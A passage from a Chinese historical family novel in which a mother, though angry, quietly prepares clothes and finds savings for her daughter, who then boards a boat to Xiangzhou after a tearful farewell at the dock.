庄秉义拿眼睛偷瞄她,又叹气道:“唉,孩子大了主意也大了,就是丢脸又能怎么办,还不是只能眼睁睁瞧着?还好,国公府那头胡武春那小子在,虽说娶了个彪悍的婆娘,可到底也是个讲道理讲情分的主儿,咱们家从前帮了他们不少,去了多少能照拂一二。” 他喋喋不休,将他今日去说了什么做了什么翻来覆去说了好几遍。 要是庄青玉在,肯定会震惊得瞪大了眼睛。都以为庄秉义是个老实木讷的性子,连在主子面前都没几句话,照这样看,多半是在房里把话都给崔氏说完了,到外面才不想说话的。 崔氏也烦了,坐起来朝他扔了个枕头:“就你多事,轮得着你献殷勤!” 庄秉义笑了,凑过去:“这孩子是不孝,可媳妇你最疼她,若是受了委屈,你要先心疼了。说起来,她的包袱也不知道收拾了多少,去了那头,一根针一块儿布恐怕都要花银钱。” 崔氏推了他一把没推开,木着脸道:“早晨的红米粥还有吗?” “饿了?有啊,一直在灶上用热水温着呢。”庄秉义见她终于肯吃饭了,高兴地香了妻子一口就跑出去给她盛饭去了。 “老不正经。”崔氏骂了一声,眉眼却带了点笑意。见他走了,才趿着鞋下了床。他懂什么收拾行囊,每次出远门,都是求着她来收拾的。 去了襄州府,也不知要不要带铺盖。 崔氏心里委屈,气小女儿这样不听话不孝敬,手却开始挨个打开屋里的大箱笼。陪嫁的箱笼她许久没打开了,这箱笼还是老夫人当时给她打的,也不记得里头是不是还有什么好东西。 崔氏打开它,随意在里头翻了翻,皱着眉头拿出一个沉甸甸的小布包来。 看着眼前各式各样的首饰和一张一百两的银票子,崔氏愣住了。 * 百官为太子服丧期满后,大夫人终于不需要再每日进宫。回到家中,她立刻请了大夫,喝了好几日的补药,才将元气恢复起来。 紧接着,她就宣布要带上四姑娘、七姑娘一道去襄州府看望出嫁的大姑奶奶,走水路一路下到襄州去。 发船的那一日,青娆在码头等了许久,也没有看到庄家的人来送她。 她擦了擦泪,正准备上船,却听见后头有人在大声呼唤她的名字。回头,果然是笑得没心没肺的庄青玉。 庄家三人并她的准姐夫,加起来收拾了五六个包袱,全都一股脑塞到了跟着她的小丫鬟手里。 她娘崔氏则是木着一张脸,手里拎着一个小包袱,走到她跟前:“给你做了几身新衣服,一会儿上船了试试合不合身。” 闻言,青娆红了眼睛。 她都表现得那样不孝了,没想到她娘还愿意给她做衣裳。她没忍住,抱住她娘,道:“娘,我不在家,无论发生什么事,你都务必要保重好身体。日后,你们的日子都会越过越好的。” 崔氏则僵直着身体,只留下了一句话:“知道了。” 目送着家人转身离开,在船夫的催促下,青娆终是怀着前途未卜的心情,随着陈家众人登上了前往襄州府的大船。